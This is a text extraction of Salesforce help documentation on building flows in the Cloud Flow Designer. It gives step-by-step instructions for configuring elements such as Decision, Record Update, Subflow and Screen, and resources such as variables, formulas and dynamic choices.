7. On the Outputs tab, assign values from Apex parameters to variables in the flow.
Click Add Row to enter more output assignments. Click
to remove a row.
Column Header
Description
Source
Target
Select an existing flow variable, or select CREATE NEW to create a new variable.
8. Click OK.
Note: If the Apex plug-in fails for some reason, the fault connector path will be taken if youve defined one.
See Also:
About Apex Plug-ins in Flows
Flow Designer Elements
About the Flow Designer
About the Fault Connector
1900
Create
The Apex Plug-in element represents a piece of Apex code that you can use to pass data between your organization and a
flow.
When using Apex plug-ins in a flow:
Add a tag string to your Apex plug-in to group your plug-ins in the Flow Designer Palette. If you don't add a tag string
to a plug-in, it shows up at the root level of the Apex Plug-ins section.
Apex primitive data types Blob and Time aren't supported for flow plug-ins.
If you don't provide a name for your plug-in, it displays in the Palette using the class name.
If you make code changes to an Apex plug-in while the Cloud Flow Designer is open, you won't see the changes in the
plug-in elements until you close and re-open the Designer.
See Also:
Adding and Configuring an Apex Plug-in Element
Flow Designer Elements
About the Flow Designer
Use the Assignment element to make changes to the value of a variable. For example, you could dynamically change the value
of a customer's credit score depending on how they answer certain questions in the flow.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Assignment element onto the canvas.
3. Enter a Name and Unique Name for the element.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. If you havent already added a description, click Add Description to do so.
1901
Create
5. In the Assignments section, select the variable you want to change. If you havent created the variable yet, you can do that
by expanding the CREATE NEW section of the drop-down list.
6. Select an operator.
7. Enter a value or select an element to adjust the variable you selected. Use the CREATE NEW section of the drop-down
list to create new resources, if necessary.
Note: When you add or subtract a number from a date value, the date adjusts in days, not hours.
8. Click Add Assignment to add another line. Click and drag assignment line items to reorder them.
9. Click to remove a line.
10. Click OK to accept your changes or Cancel to discard them.
Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.
See Also:
Flow Designer Elements
About the Flow Designer
Connectors control how the flow is executed and are represented as arrows on the Flow Designer canvas.
Adding and Deleting Connectors
To add a connector between flow elements, click the node beneath the source element and drag and drop a line anywhere
onto a target element. To delete a connector, select it and press the DELETE key. If the source element has defined outcomes,
when you drop the connector onto its destination, you must select which outcome to assign to the path.
Tip:
When you select a connector, its color changes from black to red.
You may find it easier to select a connector by clicking and dragging an area on the canvas that includes both ends
of the connector.
When you click and drag an element around the canvas, each end of the connector stays stuck to its element and stretches
to accommodate the new element position. If you move the element into a new position in the flow, you must manually
adjust any connections and outcomes.
Deleting a connector doesn't delete the outcome associated with it, but deleting an element's outcome does delete the
associated connector.
1902
Create
Only Decisions, Steps and data elements can have more than one outgoing connector.
Some elements also support an outgoing fault connector.
The source and destination elements for a connector can't be the same.
See Also:
About the Fault Connector
Flow Designer Elements
About the Flow Designer
While a connector element determines the normal path of flow execution, a fault connector is executed at runtime only when
its source element results in an error.
A fault connector can have any target element but only the following source elements:
Apex Plug-In
Record Create
Record Update
Record Lookup
Record Delete
By default, if executing one of these elements results in an error, the flow displays a generic error message to the flow user.
Also, the user cant proceed with the flow. Use fault connectors to gracefully handle such errors. For example:
Suppose an Apex plug-in element calls an external Web service to validate user-entered addresses. If the Web service call
fails for any reason, the flow can proceed along the fault connector to a screen where the user can verify the entered address,
make any corrections, and proceed with the flow.
If the flow is used only internally, for example by call center users, each fault connectors target screen can display a system
fault message that flow users can give to the IT department. For example, you can set up a Display Text field on the screen
as follows:
Sorry, but you cant update records at this time.
Please open a case with IT, and include the following error message:
{!$Flow.FaultMessage}
You can ignore the errors completely, and have the flow proceed along the normal path. To do this, add a fault connector
on top of the connector element.
1903
Create
Add and delete a fault connector just as you would add and delete a connector element, only you need to add the connector
element first. The connector element properties and expected behavior also apply to fault connectors.
See Also:
About the Connector Element
Flow Designer Elements
Use the Decision element to evaluate a set of conditions and route users through the flow based on the outcomes of those
conditions.
You can use a Decision element to drive your flow without explicit end-user input. For example:
In a customer self-help portal, a Decision element could determine whether a customer is given a return shipping address
and information (because an item is definitely faulty), or given information on how to resolve their problem themselves.
Within a banking flow, a Decision element could determine if a customer should be offered a loan or not (based on results
of a credit scoring formula).
Tip: If you ask a user to make a choice in a screen with a drop-down list or radio buttons, hook up a Decision element
directly after the Screen element to create the branches of the flow based on the choices. You should represent each
drop-down list or radio button option in your Decision element and connect it to a branch of your flow.
1904
Create
Note: Two operators are unique to the Cloud Flow Designer. Depending on the type of Resource you select,
you might see these in the Operator list:
was selectedAvailable only for choices. Lets you track whether a specific choice on a screen was selected
by the user. To learn more about how was selected works, see Visual Workflow Considerations on page
1934.
was visitedAvailable for any main canvas element. Lets you track whether an element in the flow was
visited by the user.
Selecting either of these operators makes the Value of the condition statement Boolean. You can then set the
Value to true or false by clicking the arrow button, expanding the GLOBAL CONSTANT section, and
selecting either $GlobalConstant.True or $GlobalConstant.False. For more information, see About
Global Constants in the Cloud Flow Designer on page 1932.
c. Click Add Condition to add another condition or click to remove a condition. At runtime, the conditions are
evaluated in the order you specify.
d. Choose under which conditions the outcome evaluates to true:
All conditions must be true (AND)The outcome will evaluate to true overall if all the conditions you specified
evaluate to true.
One condition must be true (OR)The outcome will evaluate to true overall if at least one of the conditions
you specified evaluates to true.
6. Click Add Outcome to add more outcomes. You can drag outcomes up and down to reorder them.
7. Click [Default Outcome] to set up a path to which users will be routed if none of the other outcome conditions are met.
8. Click OK to accept your changes or Cancel to discard them.
When youre done setting up your outcomes, you can then draw connectors from your Decision element to other elements on
the canvas and assign an outcome to each connector.
See Also:
Flow Designer Elements
About the Flow Designer
Use the Record Create element to create a new record in Salesforce using values from your flow. For example, you could
capture the name and address that a user enters into the flow, use the Record Lookup element to see if they exist in Salesforce,
and if they don't, use the Record Create element to create a new record for that user.
1905
Create
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Record Create element onto the canvas.
3. Enter a Name and Unique Name for the element.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. If you havent already added a description, click Add Description to do so.
5. Select the object for which you want to create a record.
6. Select the field or fields from the object that you want to populate, then assign a value or resource to the field. The data
types must match.
In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values
(from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create
new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format.
7. Click Add Row to set the value of another field.
8. Click to remove a line.
9. Optionally, assign the new record's ID to a variable so you can use it or refer to it later in the flow. The variable you choose
must be of type text. If you havent created the variable yet, you can do that by expanding the CREATE NEW section
of the drop-down list.
10. Click OK to accept your changes or Cancel to discard them.
Important: Check your object definition to ensure that all required fields are populated with values; otherwise the
record create will fail at runtime. If the record create does fail, the fault connector path will be taken if youve defined
one.
See Also:
Flow Designer Elements
About the Flow Designer
About the Fault Connector
Use a Record Lookup element to find a Salesforce record and store the values from its fields into your flow. For example, you
could use a Record Lookup element to:
1906
Create
Input (or read) a bar code from a product tag and use the code to read data from the database to find out the product name
or description.
Look up item details to check for stock availability.
Look up a customer record to verify a caller's identity.
Description
Name
Unique Name
The requirement for uniqueness applies only to elements within the current flow. You can
have two elements with the same unique name, provided they are used in different flows.
A unique name is limited to underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
Description
to remove a row.
Column Header
Description
Field
Operator
The available filter operators depend on the data type selected for the Field and Value.
Value
The Field and Value in the same row must have the same data type.
Options:
Make sure your filter criteria sufficiently narrows the search. The Record Lookup element ultimately returns only the first
record from the filtered results, which arent retrieved from the database in any particular order.
6. To sort the filtered results before the first record is selected:
a. Select Sort results by.
b. Select the field to sort by. Only sortable fields appear in the drop-down list.
c. Select the sort order, either ascending or descending.
1907
Create
7. Assign the values of fields in the returned record to variables in the flow.
Click Add Row to enter more field assignments. Click
to remove a row.
Column Header
Description
Field
Variable
Select an existing flow variable, or select CREATE NEW to create a new variable.
8. Click OK.
Note: If the record lookup fails for some reason, the fault connector path will be taken if youve defined one.
See Also:
Flow Designer Elements
About the Flow Designer
About the Fault Connector
Use a Record Update element to update a set of records in Salesforce with variable, constant, input, or other values from your
flow. You can update a single record, or multiple records, depending on how you set your filter criteria.
If you're using flows in a call center, for example, you can use a Record Update element to automatically update Salesforce
with data collected from callers, such as new addresses, phone numbers, or product preferences.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Record Update element onto the canvas.
3. Enter a Name and Unique Name for the element.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. If you havent already added a description, click Add Description to do so.
5. Select the object for which you want to update a record.
1908
Create
6. Set criteria to select which records get updated. The data types of the values in the Field and Value columns must match.
In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values
(from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create
new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format.
Important: You must configure at least one filter, or you will update all the records for the object.
to remove a field.
See Also:
Flow Designer Elements
Adding and Configuring a Formula
About the Flow Designer
About the Fault Connector
Use a Record Delete element to delete records in Salesforce. You can delete a single record or multiple records, depending on
how you set your filter criteria.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Record Delete element onto the canvas.
3. Enter a Name and Unique Name for the element.
1909
Create
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. If you havent already added a description, click Add Description to do so.
5. Select the object whose records you want to delete.
6. Add rows of filter criteria to determine which records will be deleted. You must configure at least one filter.
In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values
(from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create
new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format.
7. Click Add Row to add another filter.
8. Click to remove a line.
9. Click OK to accept your changes or Cancel to discard them.
Caution: Things to note when using a Record Delete element:
Be careful when testing flows that contain Record Delete elements. Even if the flow is inactive, running it will
trigger the delete operation.
To prevent deleting records by mistake, be as specific in your filter criteria as possible.
Records are deleted from your organization the moment the flow executes the Record Delete element.
Deleted records are sent to the Recycle Bin and remain there for 15 days before they are permanently deleted.
Note: If the record delete fails for some reason, the fault connector path will be taken if youve defined one.
See Also:
Flow Designer Elements
About the Flow Designer
About the Fault Connector
About Subflows
Available in: Enterprise, Unlimited, and Developer Editions
1910
Create
At runtime, the master flow calls the active version of each referenced flow by default. If a referenced flow has no active version,
then the master flow calls the latest version of the referenced flow. To run only the latest version of each referenced flow, use
one of the following methods:
Open the master flow in the Cloud Flow Designer, and click Run with Latest in the button bar.
Run the master flow from the flow URL appended with ?latestSub=true.
Note: Only flow administrators can run inactive flows. For other users, the flow will fail at runtime if a subflow
element tries to call a flow with no active version.
The Palette lists the other flows in your organization. If you select a flow in the Palette, the following information appears in
the Description pane:
See Also:
Adding and Configuring a Subflow Element
Putting Flows to Work
Adding and Configuring a Variable
Use a subflow element to have the flow call another flow at runtime.
Before you begin, create or install the other flow that you want to call.
A subflow element references another flow and calls that flow at runtime. When a flow contains a subflow element, we call it
the master flow to distinguish it from the referenced flow. Use subflow input and output assignments to transfer data between
the master flow and the referenced flow.
1. Click Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the flow that you want to call onto the canvas.
3. Enter the general settings for the subflow element.
1911
Create
Field
Description
Name
Unique Name
The requirement for uniqueness applies only to elements within the current flow. You can have
two elements with the same unique name, provided they are used in different flows. A unique
name is limited to underscores and alphanumeric characters. It must be unique, begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive
underscores.
Description
to remove a row.
Column
Header
Description
Target
Source
5. On the Outputs tab, assign values from the referenced flows variables to the master flows variables.
These variable assignments occur when the referenced flow finishes running.
Click Add Row to enter more variable assignments. Click
to remove a row.
Column
Header
Description
Source
Referenced flows variable whose value you want to assign to the target.
By default, the subflow overlays drop-down lists for selecting the referenced flows variables are populated
with the variables of the currently active version of the referenced flow. If the referenced flow has no
active version, the drop-down lists are populated with the variables of the latest version of the referenced
1912
Create
Column
Header
Description
flow. You can, however, view or select from the inputs and outputs of other versions of the referenced
flow.
Target
6. Click OK.
See Also:
About Subflows
Viewing Inputs and Outputs of Other Referenced Flow Versions
While configuring a subflow element, you can view the variables of a specified version of the referenced flow.
Before you begin, add a subflow element to your flow.
From a subflow element, you can only assign values to or from the referenced flows variables that allow input/output access.
This access is determined by the Input/Output Type of the variable. If you need to change the variables Input/Output
Type, open the referenced flow to edit the variable.
By default, the subflow overlays drop-down lists for selecting the referenced flows variables are populated with the variables
of the currently active version of the referenced flow. If the referenced flow has no active version, the drop-down lists are
populated with the variables of the latest version of the referenced flow.
If you want to populate the drop-down lists with the variables of another version of the referenced flow, or if you just want to
view the descriptions of the referenced flows variables, complete the following steps.
1. On the subflow overlay, expand the Input/Output Variable Assignments section.
2. Click View input/output of other versions.
3. Use one or more of the following options in the Select Version of Referenced Flow overlay.
Option
Description
The Inputs and Outputs tabs display the variables in the selected version
of the referenced flow.
1913
Create
Option
Description
Click OK.
The subflow overlays drop-down lists for selecting the referenced flows
variables are populated with the variables of the selected Version of the
referenced flow.
When you configure subflow input and output assignments, you can specify variables from any version of the referenced flow.
This enables you to develop both the master flow and referenced flow in parallel, while keeping another version of the referenced
flow active for its users. When you save the master flow, however, the subflow validations are performed only against the
currently active versionor if there is no active version, then against the latest versionof the referenced flow. You may see
informational validation messages about the variables that couldnt be found or that were configured differently in the referenced
flow, but those messages wont block you from saving the flow. Nevertheless, be sure to resolve all validation errors before you
activate the master flow.
See Also:
Adding and Configuring a Subflow Element
About Subflows
The Screen element can be used to set up a form to capture user input, provide choice selections, and display information to
your users. It combines functionality from several different elements in the desktop Flow Designer, such as Form, Statement,
Choice, and Question.
1.
2.
3.
4.
Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
From the Palette tab, drag the Screen element onto the canvas.
Set up your Screen by configuring fields on the General Info, Add a Field, and Field Settings tabs.
Click OK to accept your changes or Cancel to discard them.
1914
Create
Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.
As you progress through the Screen overlay, you can see a preview of what you're building in the right pane.
See Also:
Adding and Configuring a Dynamic Choice
Flow Designer Elements
About the Flow Designer
The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. To configure
the General Info tab:
1. Enter a Screen Name, then press TAB. The Unique Name field should auto-populate.
2. You can enter a different unique name for the screen.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
3. If you havent already added a description, click Add Description to do so.
4. To provide flow users with help for the screen:
a. Click the arrow to expand the Help Text section.
b. Enter the text that you want flow users to see when they click Help for this form.
c. Click to switch between the plain text editor and the rich text editor.
If you use the rich text editor, the content is saved as HTML.
See Also:
Flow Designer Elements
About the Flow Designer
1915
Create
The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.
The Add a Field tab lists all the available fields you can add to your Screen.
Inputs
Textbox
Long Text Area
Number
Currency
Date
Password
Choices
Radio Buttons
Drop-down List
Outputs
Display Text
Add an input, output, or choice field to a Screen either by double-clicking or dragging it to the preview pane. Remove a field
from the Screen overlay by hovering over it and clicking
them up and down.
See Also:
Flow Designer Elements
About the Flow Designer
The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.
1916
Create
On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the
overlay. The options available on the Field Settings tab vary based on which type of field you're configuring.
See Also:
Flow Designer Elements
About the Flow Designer
Configuring User Input Fields on the Screen Element's Field Settings Tab
Available in: Enterprise, Unlimited, and Developer Editions
The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.
On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the
overlay. The options available on the Field Settings tab vary based on which type of field you're configuring. Heres how to
set up user input fields on a Screen overlay, including textbox, long text area, number, currency, date, and password.
1. In the Screen overlays preview pane, click an input field to configure its settings.
2. In the General Info section, enter a Label to display text to the left of the field.
3. If you want to use the rich text editor to format your field label, click the rich text editor icon ( ) to the right of the Label
field.
a. Once youre done editing the text, click OK. The Label field display changes to indicate that it is now a rich text field.
1917
Create
6. For number and currency fields, you can set a Scale value. The scale is the maximum number of digits allowed to the
right of the decimal point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers
are displayed when your flow runs.
7. Select the Required checkbox to make the field required.
8. In the Input Validation section, create a formula expression to validate the user input for the field.
a. Select Validate.
b. Enter a formula expression to define the values allowed for the field.
c. Customize the error message that will be displayed to the flow user if the input fails validation.
Click to switch between the plain text editor and the rich text editor. If you use the rich text editor, the content is
saved as HTML.
Note:
If the formula statement evaluates to TRUE, the input is valid. If the formula statement evaluates to FALSE, the
error message is displayed to the user.
If the user leaves the field blank, and the field is not required, no validation is performed.
See Also:
Configuring the Screen Element's Field Settings Tab
Adding and Configuring a Screen Element
Flow Designer Elements
About the Flow Designer
The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.
1918
Create
On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the
overlay. The options available on the Field Settings tab vary based on which type of field you're configuring. Heres how to
set up choice fields on a Screen overlay, including radio buttons and drop-down lists.
1. In the Screen overlays preview pane, click a choice type field to configure its settings.
2. In the General Info section, enter a Label to display text to the left of the field.
3. If you want to use the rich text editor to format your field label, click the rich text editor icon ( ) to the right of the Label
field.
a. Once youre done editing the text, click OK. The Label field display changes to indicate that it is now a rich text field.
to remove a choice.
Note: Once created, the only way you can edit a choice or dynamic choice is by double-clicking it from the Explorer
tab.
9. To provide flow users with help for the field:
a. Click the arrow to expand the Help Text section.
b. Enter the text that you want flow users to see when they click next to the field.
c. Click to switch between the plain text editor and the rich text editor.
If you use the rich text editor, the content is saved as HTML.
10. Click OK.
1919
Create
See Also:
Configuring the Screen Element's Field Settings Tab
Adding and Configuring a Screen Element
Flow Designer Elements
About the Flow Designer
The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.
On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the
overlay. The options available on the Field Settings tab vary based on which type of field you're configuring. Heres how to
set up a Display Text field on a Screen overlay.
1. In the Screen overlays preview pane, click the Display Text field to configure its settings.
2. Enter a Unique Name. A unique name is limited to underscores and alphanumeric characters. It must be unique, begin
with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter the text you want to display to the flow user. For example, you could use a display text field to show flow users a
welcome message, a terms and conditions statement, or a description of a product or service.
Click to switch between the plain text editor and the rich text editor. If you use the rich text editor, the content is saved
as HTML.
4. Click OK.
See Also:
Configuring the Screen Element's Field Settings Tab
Adding and Configuring a Screen Element
Flow Designer Elements
About the Flow Designer
1920
Create
Use the Step element as a placeholder when you're not sure what kind of element you need. Using Step elements, you can
sketch out a draft of any new flow or make conceptual changes to an existing flow.
To add or edit a Step element in the Flow Designer:
1.
2.
3.
4.
5.
Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
From the Palette, drag the Step element into the main area of the canvas.
Enter a name for the Step.
If you havent already added a description, click Add Description to do so.
Click OK to accept your changes or Cancel to discard them.
Steps aren't valid elements for active flows. You can have a draft flow with Steps in it and can run it in the draft state as an
administrator, but you must replace the Steps with other elements before you can activate the flow and let users run it.
Converting a Step into a Screen
You can convert a Step into a Screen element at any time by hovering your mouse over it and clicking
Upon conversion, a Step's incoming connectors are preserved, but any outgoing connectors assigned to it are deleted.
After conversion, you can no longer use the Step's original unique name.
See Also:
Adding and Configuring a Screen Element
Flow Designer Elements
About the Flow Designer
1921
Create
See Also:
Flow Designer Elements
About the Flow Designer
Resources, such as variables, constants, or formulas, allow you to store or manipulate data and use it throughout your flow.
For example, if a user inputs the cost of a meal in a tip calculator flow, you can store that value as a constant and use it with
a formula to calculate optimum tip amount based on what service level the user chooses later in the flow.
Resources are non-visual elements. They won't show up on your canvas and can't be added to it. If you need to edit or delete
resources youve created, you can find them on the Explorer tab.
The following resources are available in the Cloud Flow Designer:
Constant
Variable
Formula
Text Template
Choice
Dynamic Choice
Global Constants
1922
Create
Though they dont appear on the Resources tab, global constants are considered to be resources. Global constants have
fixed values, while the other resources can be created and customized as needed.
Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.
See Also:
About the Flow Designer
In order to assign constants to your flow using the Assignment element, you first need to create them. The Constant resource
allows you to a define a fixed value that can be used throughout your flow. Every time you create a new constant, it is added
to the Explorer tab by its unique name.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Resources tab, double-click Constant.
3. Enter a Unique Name for the constant.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4.
5.
6.
7.
Enter a description.
Set the Data Type for the constant.
Enter a value for the constant. When entering a date value, you must use the MM/DD/YYYY format.
Click OK to accept your changes or Cancel to discard them.
See Also:
Flow Designer Resources
Adding and Configuring an Assignment Element
About the Flow Designer
1923
Create
Use the Formula resource to calculate a value using numeric elements in your flow. Every time you create a new formula, its
added to the Explorer tab by its unique name.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Resources tab, double-click Formula.
3. Enter a Unique Name for the formula.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows.A unique name is limited to underscores and
alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. Enter a description.
5. If needed, set the Scale for the formula. The scale is the maximum number of digits allowed to the right of the decimal
point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers are displayed when
your flow runs.
6. Enter your formula. Use the arrowhead to select resources from your flow. Use the CREATE NEW section of the
drop-down list to create new resources, if necessary. See the Formulas Quick Reference Guide for a complete list of formula
operators and functions supported in Salesforce.
Note: Some formula operators are not supported in the Cloud Flow Designer and will result in your formula
returning a null value. See About Formulas in Flows for the complete list.
7. Click OK to accept your changes or Cancel to discard them.
See Also:
Flow Designer Resources
About the Flow Designer
You can use standard Salesforce formula syntax in two places within a flow:
1924
Create
In a Formula resource
In a Screen element, specifically to validate user input for a field
You can use pure text functions in your formula, but the formula output must be numeric. Any formula that doesn't resolve
to a number or that contains an unsupported function returns null.
If you display the result of an invalid formula to a user using a Display Text element, the formula result is displayed as an
empty string and the user sees nothing.
You can't activate a flow that contains an invalid formula.
GETRECORDIDS
IMAGE
INCLUDE
INCLUDES
ISCHANGED
ISNEW
ISPICKVAL
PARENTGROUPVAL
PREVGROUPVAL
PRIORVALUE
REQUIRE SCRIPT
VLOOKUP
To learn more about how formulas work in Salesforce, see About Formulas on page 1114.
1925
Create
Use the Text Template resource to create text to use in your flow. For example, if you have a flow that registers people for an
event, you could create a text template that includes a registrant's name, address, and other information, then use the template
in an email confirmation sent out when the flow finishes. Every time you create a new text template, it is added to the Explorer
tab by its unique name.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Resources tab, double-click Text Template.
3. Enter a Unique Name.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows.A unique name is limited to underscores and
alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. Enter a description.
5. In the text box, type the text for your template. Use the Select resource drop-down to insert content from your flow
(variables, constants, user input, and so on), or type it manually. Use the CREATE NEW section of the drop-down list
to create new resources, if necessary.
Click to switch between the plain text editor and the rich text editor. If you use the rich text editor, the content is saved
as HTML.
6. Click OK.
See Also:
Flow Designer Resources
About the Flow Designer
1926
Create
In order to assign variables to your flow using the Assignment element, you have to first create them. The Variable resource
allows you to create updatable values to use in your flow. Every time you create a new variable, an item representing that
variable is added to the Explorer tab.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Resources tab, double-click Variable.
3. Fill out the fields.
Field
Description
Unique Name
The requirement for uniqueness applies only to elements within the current flow. You can
have two elements with the same unique name, provided they are used in different flows.
A unique name is limited to underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
Description
Helps you determine when to assign or use this variable as you set up your flows.
The description appears in the Description pane when the variable is selected in the Explorer
tab. Depending on the Input/Output Type, the variables description may be viewed
from another flows subflow element.
Data Type
Scale
Input/Output Type
1927
Create
The default value of the field depends on the release or API version in which the variable
is created:
Private for a variable created in Summer 12 and later or in API version 25.0 and later.
Input and Output for a variable created in Spring 12 and earlier or in API version
24.0.
Caution: Disabling input or output access for an existing variable may impact the
functionality of applications and pages that call the flow and access the variable via
URL parameters, Visualforce controllers, and subflows.
Default Value
Enter a default value for the variable, or use the drop-down list to assign the value of a flow
resource as the default. Use the CREATE NEW section of the drop-down list to create
new resources, if necessary. If you leave this field blank, the variable value is set to null.
When entering a date value, you must use the MM/DD/YYYY format.
See Also:
Flow Designer Resources
Adding and Configuring an Assignment Element
About the Flow Designer
About Subflows
Adding a Flow to a Visualforce Page
Putting Flows to Work
A Choice resource is a standalone choice option that you can reference or reuse throughout your flow. For example, if you
have a flow asking users to choose a particular service level, you could create separate choice options for Gold, Silver, and
Bronze. Each one becomes a unique choice resource on the Explorer tab. You could then set up a Screen later on in the flow
with a display text field that includes the choice resource with a description of the features included.
You can create a choice resource in two ways:
1928
Create
7. Select the Show input on selection checkbox to have a user input field appear below the choice option. This option
isnt available if the choices data type is Boolean.
a. Enter a label for the user input field.
b. Select the Required checkbox to make the user input field required.
c. In the Input Validation section, create a formula expression to validate the user input for the field.
i. Select Validate.
ii. Enter a formula expression to define the values allowed for the field.
iii. Customize the error message that will be displayed to the flow user if the input fails validation.
Click to switch between the plain text editor and the rich text editor. If you use the rich text editor, the content
is saved as HTML.
Note:
If the formula statement evaluates to TRUE, the input is valid. If the formula statement evaluates to FALSE,
the error message is displayed to the user.
If the user leaves the field blank, and the field is not required, no validation is performed.
8. Click OK.
After you create a choice, it shows up on the Explorer tab, where you can edit it as needed.
See Also:
Flow Designer Resources
About the Flow Designer
1929
Create
A dynamic choice looks up data from an objects records and dynamically generates a set of choices at runtime. Throughout
your flow, you can reuse a Dynamic Choice resource for choice fields, and you can reference the stored value of a Dynamic
Choice resource. The stored value is determined by the most recent user selection of a choice within the generated set.
As an example, let's say you're setting up a flow for all employees of Acme Inc. and need them to identify which Acme division
they work in. Instead of manually entering each division name as a separate radio button, you could set up the dynamic choice
to look up all instances where Acme appears in the division name. Then, when the employees step through the flow, they
can select from a dynamically generated list of all division names containing Acme.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. Create a dynamic choice using one of the following methods:
Description
Unique Name
The requirement for uniqueness applies only to elements within the current flow. You can
have two elements with the same unique name, provided they are used in different flows.
A unique name is limited to underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
Description
4. Select the object whose records contain the data for the generated choices.
5. Specify the filter criteria for retrieving records from the database.
Click Add Row to enter more filters. Click
to remove a row.
Column Header
Description
Field
1930
Create
Column Header
Description
Operator
The available filter operators depend on the data type selected for the Field and Value.
Value
The Field and Value in the same row must have the same data type.
Options:
If you remove all filter rows, all records of the selected object are retrieved and a choice is generated for each record.
6. Select the records fields whose values you want to use in the generated choices.
Field
Description
Choice Label
Records field whose value is stored when the user selects this choice at runtime.
The available options depend on the Value Data Type of the Dynamic Choice resource.
If you dont fill out this field, the stored value is set to null.
For example, let's say you're setting up a support flow for a computer hardware manufacturer, and you want to let users
identify a product to find its latest drivers. You could set up a dynamic choice that displays all products whose product ID
starts with a specific string of characters. However, since the flow users are more likely to know the product's name than
its ID, you would select a field containing the product name for the Choice Label.
7. To sort the generated choices:
a. Select Sort results by.
b. Select the records field to sort by. Only sortable fields appear in the drop-down list.
c. Select the sort order, either ascending or descending.
8. To limit the number of generated choices:
a. Select Limit number of choices to.
b. Enter the maximum number of choices (up to 200) to include in the generated set.
9. Set up field assignments that occur at runtime when the user selects a choice from the generated set. Use flow variables to
store field values from the record associated with the user-selected choice.
Click Add Row to enter more field assignments. Click
to remove a row.
1931
Create
Column Header
Description
Field
Variable
Select an existing flow variable, or select CREATE NEW to create a new variable.
Lets return to our example where the flow user selects a product name from the generated set of choices. If, elsewhere in
the flow, you want to refer to or display the associated product ID and product description, you would assign flow variables
to store the relevant field values from the user-selected record.
10. Click OK.
After you create a dynamic choice, it shows up on the Explorer tab, where you can edit it as needed.
See Also:
Adding and Configuring a Screen Element
Flow Designer Resources
About the Flow Designer
In any value or resource drop-down list in the Cloud Flow Designer, you may see a section called GLOBAL CONSTANT.
Global constants are system values that, depending on the context of the drop-down list, let you assign EmptyString, True,
or False as the value for that field.
For example, when creating a variable of type Boolean, if you click on the arrow button to the right of the Default Value
